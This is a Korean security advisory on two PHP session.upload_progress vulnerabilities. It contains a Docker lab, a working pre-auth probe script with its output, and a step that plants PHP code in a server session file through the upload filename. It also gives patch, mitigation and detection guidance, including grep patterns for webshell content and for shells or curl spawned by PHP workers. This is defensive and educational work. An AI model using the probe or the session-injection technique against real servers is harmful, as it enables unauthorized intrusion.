PHP2Shell 취약점 분석 및 PoC CVE-2026-109618·CVE-2026-109619


2026-10-21 PHP 긴급 패치가 나왔다. 두 건 모두 CVSS 9.2다. session.upload_progress 기능이 로그인 절차와 애플리케이션 코드보다 먼저 multipart 요청 본문을 처리하는 것이 문제의 출발점이다. 이 기능은 PHP 5.4부터 기본으로 켜져 있다. POST를 받는 PHP 주소가 하나라도 공개돼 있으면 공격자는 인증 없이 그 경로에 닿는다.
| 항목 | 내용 |
|---|---|
| CVE | CVE-2026-109618, CVE-2026-109619 |
| 심각도 | CVSS v4.0 9.2 |
| 영향 버전 | PHP 5.4.0 ~ 8.5.11 |
| 수정 버전 | 8.2.35, 8.3.36, 8.4.27, 8.5.12 |
| 필요 조건 | 없음. POST를 받는 PHP 주소 하나 |
먼저 할 일
php -v 결과가 8.2.35, 8.3.36, 8.4.27, 8.5.12 미만이면 업데이트 대상이다. 8.1 이하 계열은 지원이 끝났으므로 배포판 공급자의 backport 공지를 확인한다. 아래 점검은 "우리 환경에서 실제로 이 경로가 열려 있는가"를 눈으로 확인하는 용도다.
1. 재현 환경 1분 구성
Docker만 있으면 된다. 파일 네 개를 만든다.
docker-compose.yml — 취약 버전인 8.4.26을 쓴다.
services:
vuln:
image: php:8.4.26-apache
container_name: php-up-vuln
ports: ["18080:80"]
volumes:
- ./www:/var/www/html:ro
www/index.php — 업로드를 받는 평범한 주소다. 업로드 처리 코드가 없어도 된다.
<?php
header('Content-Type: text/plain');
echo "ok\n";
www/whoami.php — 현재 버전과 설정을 보여준다.
<?php
header('Content-Type: text/plain');
printf("PHP %s (%s)\n", PHP_VERSION, PHP_SAPI);
printf("session.upload_progress.enabled = %s\n", ini_get('session.upload_progress.enabled') ?: '0');
printf("session.upload_progress.min_freq = %s\n", ini_get('session.upload_progress.min_freq'));
printf("session.use_only_cookies = %s\n", ini_get('session.use_only_cookies'));
www/session_peek.php — 세션 내용을 보여준다. 랩 전용이다. 운영 서버에 두지 않는다.
<?php
header('Content-Type: application/json');
if (!empty($_GET['sid'])) { session_id($_GET['sid']); }
session_start();
echo json_encode($_SESSION, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES);
실행한다.
docker compose up -d
curl -s http://127.0.0.1:18080/whoami.php
PHP 8.4.26 (apache2handler)
session.upload_progress.enabled = 1
session.upload_progress.name = PHP_SESSION_UPLOAD_PROGRESS
session.upload_progress.min_freq = 1
session.use_only_cookies = 1
enabled = 1이 기본값이다. 아무 설정도 하지 않았는데 켜져 있다는 점이 핵심이다.
2. PoC
업로드를 중간에 멈춰 두고, 그 사이에 세션을 읽는다. 기능이 켜져 있으면 애플리케이션 코드가 실행되기도 전에 세션에 진행률 항목이 이미 들어가 있다. 메모리를 건드리지 않고 코드도 실행하지 않는다.
upload_progress_poc.py
#!/usr/bin/env python3
"""
upload_progress_poc.py
PHP session.upload_progress probe - CVE-2026-109618 / CVE-2026-109619
Sends one multipart POST and pauses in the middle of the file data.
While the upload is held open, it reads the session back. If
session.upload_progress is enabled, the session already contains an
upload_progress_* entry, written before any application code ran.
Only run this against servers you are authorized to test.
"""
import argparse
import json
import socket
import time
import urllib.error
import urllib.request
import uuid
from urllib.parse import urlparse
FILLUNIT = 5120 # rfc1867.c read-buffer size
BOUNDARY = "----upcheck"
PROGRESS_FIELD = "PHP_SESSION_UPLOAD_PROGRESS"
def http_get(url, timeout=8):
try:
with urllib.request.urlopen(url, timeout=timeout) as r:
return r.read().decode("utf-8", "replace")
except urllib.error.HTTPError as e:
return f"HTTP {e.code}"
except Exception as e:
return f"ERROR {e}"
def build_body(sid, key, filename="probe.bin"):
"""Two-part multipart body with the pause point between them."""
head = (
f"--{BOUNDARY}\r\n"
f'Content-Disposition: form-data; name="PHPSESSID"\r\n\r\n{sid}\r\n'
f"--{BOUNDARY}\r\n"
f'Content-Disposition: form-data; name="{PROGRESS_FIELD}"\r\n\r\n{key}\r\n'
f"--{BOUNDARY}\r\n"
f'Content-Disposition: form-data; name="f"; filename="{filename}"\r\n'
f"Content-Type: application/octet-stream\r\n\r\n"
).encode()
part1 = head + b"A" * (FILLUNIT + 128) # FILE_START + first FILE_DATA
part2 = b"B" * (FILLUNIT * 2) # second FILE_DATA after the pause
return part1, part2 + f"\r\n--{BOUNDARY}--\r\n".encode()
def main():
ap = argparse.ArgumentParser(
description="Probe session.upload_progress (CVE-2026-109618 / CVE-2026-109619)")
ap.add_argument("url", help="http://host:port/path of any PHP endpoint that accepts POST")
ap.add_argument("--peek", help="endpoint that returns the session as JSON (lab only)")
ap.add_argument("--info", help="endpoint that prints PHP version and ini values")
ap.add_argument("--stall", type=float, default=4.0, help="pause in seconds (default 4)")
ap.add_argument("--key", default="check", help="progress key name")
ap.add_argument("--filename", default="probe.bin",
help="upload filename; stored in the session verbatim")
args = ap.parse_args()
u = urlparse(args.url)
host, port, path = u.hostname, (u.port or 80), (u.path or "/")
sid = "probe" + uuid.uuid4().hex[:18]
pkey = f"upload_progress_{args.key}"
print("=" * 60)
print(" PHP session.upload_progress probe")
print(" CVE-2026-109618 / CVE-2026-109619")
print("=" * 60)
print(f" target : {args.url}")
print(f" stall : {args.stall}s (must exceed session.upload_progress.min_freq)")
print(f" sid : {sid}")
print()
if args.info:
print("[1] server info")
for line in http_get(args.info).splitlines():
print(f" {line}")
print()
part1, part2 = build_body(sid, args.key, args.filename)
req = (
f"POST {path} HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"Cookie: PHPSESSID={sid}\r\n"
f"Content-Type: multipart/form-data; boundary={BOUNDARY}\r\n"
f"Content-Length: {len(part1) + len(part2)}\r\n"
f"Connection: close\r\n\r\n"
).encode()
s = socket.create_connection((host, port), timeout=30)
s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
s.sendall(req + part1)
t0 = time.monotonic()
print(f"[2] sent first {len(part1)} bytes, holding the request open")
print()
observed = []
if args.peek:
print("[3] reading the session while the upload is paused")
while time.monotonic() - t0 < args.stall:
time.sleep(1.0)
raw = http_get(f"{args.peek}?sid={sid}")
stamp = time.monotonic() - t0
try:
data = json.loads(raw)
except Exception:
print(f" t+{stamp:4.1f}s (unreadable) {raw[:70]}")
continue
if isinstance(data, dict) and pkey in data:
p = data[pkey]
observed.append(p.get("bytes_processed"))
files = p.get("files") or [{}]
print(f" t+{stamp:4.1f}s {pkey} "
f"bytes_processed={p.get('bytes_processed')} "
f"content_length={p.get('content_length')} "
f"done={str(p.get('done')).lower()} "
f"filename={files[0].get('name')!r}")
else:
print(f" t+{stamp:4.1f}s session empty")
print()
else:
time.sleep(args.stall)
s.sendall(part2)
s.settimeout(10)
resp = b""
try:
while True:
d = s.recv(65536)
if not d:
break
resp += d
except Exception:
pass
try:
s.close()
except Exception:
pass
status = resp.split(b"\r\n", 1)[0].decode("latin-1", "replace") if resp else "NO RESPONSE"
print(f"[4] sent remaining {len(part2)} bytes -> {status}")
if args.peek:
after = http_get(f"{args.peek}?sid={sid}")
print(f"[5] session after upload: {after.strip()[:60]}")
print()
print("-" * 60)
if observed:
print(" RESULT: upload_progress is ENABLED and reachable pre-auth")
print()
print(" The session held an upload_progress entry while the request was")
print(" still in flight. PHP wrote attacker-supplied values, including the")
print(" raw filename, before any application code ran.")
print(f" bytes_processed seen: {observed}")
print()
print(" If this server runs PHP below the fixed release, it is exposed.")
print(" Fixed in 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12")
elif args.peek:
print(" RESULT: not detected on this path")
print()
print(" One of the following applies:")
print(" - session.upload_progress.enabled = Off")
print(" - a proxy buffers the request body, so PHP never sees the pause")
print(" - the stall is shorter than session.upload_progress.min_freq")
else:
print(" Upload completed. Re-run with --peek to read the session back,")
print(" or check the PHP version and ini values directly on the server.")
if status == "NO RESPONSE" or " 502 " in status or " 503 " in status:
print()
print(" [!] abnormal upload response - check worker health")
print("-" * 60)
if __name__ == "__main__":
main()
실행한다. 표준 라이브러리만 쓰므로 설치할 패키지가 없다.
python3 upload_progress_poc.py http://127.0.0.1:18080/index.php \
--peek http://127.0.0.1:18080/session_peek.php \
--info http://127.0.0.1:18080/whoami.php
실제 출력이다.
============================================================
PHP session.upload_progress probe
CVE-2026-109618 / CVE-2026-109619
============================================================
target : http://127.0.0.1:18080/index.php
stall : 4.0s (must exceed session.upload_progress.min_freq)
sid : probe35fbf23530ba491085
[1] server info
PHP 8.4.26 (apache2handler)
session.upload_progress.enabled = 1
session.upload_progress.name = PHP_SESSION_UPLOAD_PROGRESS
session.upload_progress.min_freq = 1
session.use_only_cookies = 1
[2] sent first 5553 bytes, holding the request open
[3] reading the session while the upload is paused
t+ 1.0s upload_progress_check bytes_processed=5302 content_length=15812 done=false filename='probe.bin'
t+ 2.0s upload_progress_check bytes_processed=5302 content_length=15812 done=false filename='probe.bin'
t+ 3.0s upload_progress_check bytes_processed=5302 content_length=15812 done=false filename='probe.bin'
t+ 4.1s upload_progress_check bytes_processed=5302 content_length=15812 done=false filename='probe.bin'
[4] sent remaining 10259 bytes -> HTTP/1.1 200 OK
[5] session after upload: []
------------------------------------------------------------
RESULT: upload_progress is ENABLED and reachable pre-auth
The session held an upload_progress entry while the request was
still in flight. PHP wrote attacker-supplied values, including the
raw filename, before any application code ran.
bytes_processed seen: [5302, 5302, 5302, 5302]
If this server runs PHP below the fixed release, it is exposed.
Fixed in 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12
------------------------------------------------------------
3. 결과 읽는 법
이 출력이 말해주는 것은 세 가지다.
로그인 없이 세션이 만들어졌다. 요청에 인증 정보가 없다. 그런데 서버에 sess_probe35fb... 파일이 생겼고 내용이 채워졌다. index.php는 echo "ok" 한 줄뿐이므로, 이 기록은 애플리케이션이 한 일이 아니다.
세션 ID를 공격자가 정했다. use_only_cookies = 1인데도 POST 본문의 PHPSESSID 필드가 받아들여졌다. 업로드 진행률 처리기가 이 설정을 보지 않기 때문이다.
파일명이 가공 없이 저장된다. 이게 가장 중요하다. --filename 옵션으로 확인할 수 있다.
python3 upload_progress_poc.py http://127.0.0.1:18080/index.php \
--peek http://127.0.0.1:18080/session_peek.php \
--stall 2 --filename 'MARKER-<?php echo 1; ?>-END'
[3] reading the session while the upload is paused
t+ 1.0s upload_progress_check bytes_processed=5302 content_length=15830 done=false filename='MARKER-<?php echo 1; ?>-END'
t+ 2.1s upload_progress_check bytes_processed=5302 content_length=15830 done=false filename='MARKER-<?php echo 1; ?>-END'
서버의 세션 파일을 직접 열어 보면 더 분명하다.
docker exec php-up-vuln sh -c 'cat $(ls -t /tmp/sess_probe* | head -1)'
upload_progress_check|a:5:{s:10:"start_time";i:1792634528;s:14:"content_length";i:15823;
s:15:"bytes_processed";i:5302;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";
s:1:"f";s:4:"name";s:20:"raw-<?php echo 1; ?>";s:8:"tmp_name";N;s:5:"error";i:0;
s:4:"done";b:0;s:10:"start_time";i:1792634528;s:15:"bytes_processed";i:5302;}}}
경로를 아는 파일에, 내용을 공격자가 정한 상태로 서버에 남는다. 파일 포함 취약점이 애플리케이션 어딘가에 있으면 이 파일이 그대로 실행 대상이 된다.
ENABLED가 곧 취약은 아니다
이 PoC는 기능이 켜져 있고 경로가 열려 있는지를 본다. 패치 여부는 보지 않는다. 수정본인 8.4.27에서 같은 PoC를 돌려도 결과는 동일하게 ENABLED로 나온다.
```text
[1] server info
PHP 8.4.27 (apache2handler)
session.upload_progress.enabled = 1
[3] reading the session while the upload is paused
t+ 1.0s upload_progress_check bytes_processed=5302 done=false filename='probe.bin'
RESULT: upload_progress is ENABLED and reachable pre-auth
```
기능 자체는 패치 후에도 그대로 동작한다. 패치가 고친 것은 메모리 처리 쪽이다. **최종 판정은 버전으로 한다.**
4. 완화 적용 후 재확인
conf/mitigated.ini를 만든다.
session.upload_progress.enabled = Off
docker-compose.mitigated.yml로 덮어쓴다.
services:
vuln:
volumes:
- ./www:/var/www/html:ro
- ./conf/mitigated.ini:/usr/local/etc/php/conf.d/99-mitigated.ini:ro
docker compose -f docker-compose.yml -f docker-compose.mitigated.yml up -d
python3 upload_progress_poc.py http://127.0.0.1:18080/index.php \
--peek http://127.0.0.1:18080/session_peek.php \
--info http://127.0.0.1:18080/whoami.php
[1] server info
PHP 8.4.26 (apache2handler)
session.upload_progress.enabled = 0
[2] sent first 5553 bytes, holding the request open
[3] reading the session while the upload is paused
t+ 1.0s session empty
t+ 2.0s session empty
t+ 3.0s session empty
t+ 4.1s session empty
[4] sent remaining 10259 bytes -> HTTP/1.1 200 OK
[5] session after upload: []
------------------------------------------------------------
RESULT: not detected on this path
------------------------------------------------------------
세션이 비어 있다. 같은 요청인데 진행률 항목이 생기지 않는다. 정리는 다음과 같다.
docker compose down
5. 운영 서버에 쓸 때
session_peek.php는 운영 서버에 올리면 안 된다. 세션 내용을 그대로 노출하기 때문이다. 운영 환경에서는 세 가지로 나눠 본다.
| 확인할 것 | 방법 |
|---|---|
| 버전 | 서버에서 php -v, 그리고 FPM·Apache가 쓰는 바이너리도 따로 |
| 설정 | php -i | grep -E 'upload_progress|use_only_cookies' |
| 경로 노출 | 스테이징 사본에 점검용 주소를 두고 위 PoC 실행 |
CLI와 웹 서버가 다른 PHP를 쓰는 경우가 흔하다. php -v만 보고 끝내면 실제로 요청을 처리하는 FPM pool을 놓친다.
ps -eo pid,user,args | grep -E 'php-fpm|php-cgi|httpd|apache2|lsphp'
nginx를 앞단에 두면 기본 설정에서 요청 본문을 모아 전달한다. 이 경우 멈춤 구간이 PHP까지 가지 않아 PoC가 미검출로 나온다. 방어에 도움이 되지만 패치를 대신하지는 않는다. fastcgi_request_buffering off를 쓰고 있다면 노출이 커진다.
grep -rE 'fastcgi_request_buffering|proxy_request_buffering' /etc/nginx/
6. 조치
업데이트가 유일한 해결책이다. 8.2.35, 8.3.36, 8.4.27, 8.5.12 이상으로 올린다. 배포판을 쓰면 공급자가 같은 번호를 유지한 채 backport할 수 있으니 패키지 changelog를 확인한다.
패치 후 반드시 worker를 재시작한다. 두 취약점 중 하나는 worker에 남은 상태를 이용한다. 패키지만 갈고 기존 프로세스를 그대로 두면 메모리에 올라간 옛 runtime이 계속 요청을 받는다.
systemctl restart php-fpm
systemctl restart apache2 # 또는 httpd
컨테이너는 이미지를 새로 받아 다시 만든다.
당장 패치가 어려우면 임시로 다음을 적용한다.
session.upload_progress.enabled = Off
session.use_only_cookies = On
업로드 진행률 표시 기능을 쓰는 화면이 있는지 먼저 확인한다. 이 설정은 세션 쪽 경로만 막는다. 아래 표의 D 경로는 Zend 코어 문제라 막지 못한다.
7. 무엇이 문제인가
PHP-FPM의 요청 처리 순서를 보면 이해가 빠르다.
요청 도착
└─ rfc1867 콜백 ← session.upload_progress가 여기서 동작
└─ 모듈 초기화
└─ 애플리케이션 코드 시작 ← 로그인 검사는 빨라야 여기
업로드 진행률 처리가 맨 앞에 있다. 그래서 인증, 권한, 애플리케이션의 입력 검증을 전부 건너뛴다.
CVE-2026-109618은 multipart를 파싱하다 메모리 한도를 넘겼을 때 생긴다. PHP는 이때 longjmp()로 빠져나가는데, 초기화가 끝나지 않은 상태가 남는다. Apache mod_php는 요청 시작이 실패해도 종료 절차를 그대로 실행해서, 그 어중간한 상태를 읽는다.
CVE-2026-109619는 worker에 남는 전역 상태 문제다. 치명적 오류가 나면 정리 과정을 건너뛰므로, 이전 요청에서 이미 해제한 메모리를 가리키는 포인터가 남는다. 다음 요청이 그걸 읽는다.
공개된 공격 경로는 다섯 갈래다.
| 경로 | 대상 | 추가 조건 |
|---|---|---|
| A | 모든 PHP | 파일 포함 취약점 존재 |
| B | 역직렬화 쓰는 앱 | unserialize 입력 지점 |
| C | 공유 호스팅 | 디렉터리별 세션 직렬화 방식 차이 |
| D | Apache mod_php | 없음 |
| E | PHP-FPM | 큰 세션 파일 생성 가능 |
D가 가장 위험하다. 애플리케이션에 아무 취약점이 없어도 성립하고, 임시 완화 설정으로도 막히지 않는다. Apache mod_php를 쓴다면 패치 우선순위를 가장 높게 둔다.
8. 침해 흔적
업로드 진행률 기능을 쓰지 않는 서비스라면 아래는 그 자체로 비정상이다.
- 본문에
PHP_SESSION_UPLOAD_PROGRESS필드가 있는 multipart POST - 쿠키가 아니라 POST 본문에
PHPSESSID를 넣은 요청 Content-Length없는 POST, 필드가 수백 개인 POST- 평소 없던 주소에서 반복되는 메모리 소진 오류
세션 저장 경로와 로그를 본다.
grep -rlE '<\?php|\|O:[0-9]+:' /var/lib/php/sessions/ /tmp/ 2>/dev/null
grep -E 'memory size of [0-9]+ bytes exhausted|Request Startup' /var/log/php*/*.log
PHP worker가 shell이나 다운로드 도구를 자식 프로세스로 띄웠는지 확인한다.
php-fpm | httpd | apache2 -> sh | bash | curl | wget | python
참고 자료
공식
이 글이 참고한 분석과 PoC
- 0x4148 / CVE-2026-109618-php2shell-lab — Ahmed Sultan(0x4148). 멈춤 구간을 둔 2단계 multipart 전송 방식과
FILLUNIT5120 값을 여기서 가져왔다. 저장소의 랩은 PHP 8.4.4-fpm 기준이며, 코드 실행이 아니라 취약 경로 도달까지를 증명한다. - php2shell: Dissecting PHP's Critical Session Upload Progress Vulnerabilities — Qi Deng. 두 CVE의 원인 구분, 요청 처리 순서, 공격 경로 A~E 분류의 출처다.
이 문서의 PoC 스크립트와 콘솔 출력은 위 두 자료의 방식을 바탕으로 php:8.4.26-apache 컨테이너에서 직접 실행해 얻은 것이다. 공격 경로 A, C, D, E의 완성된 공격 코드는 원문에 있으며 여기에는 싣지 않았다.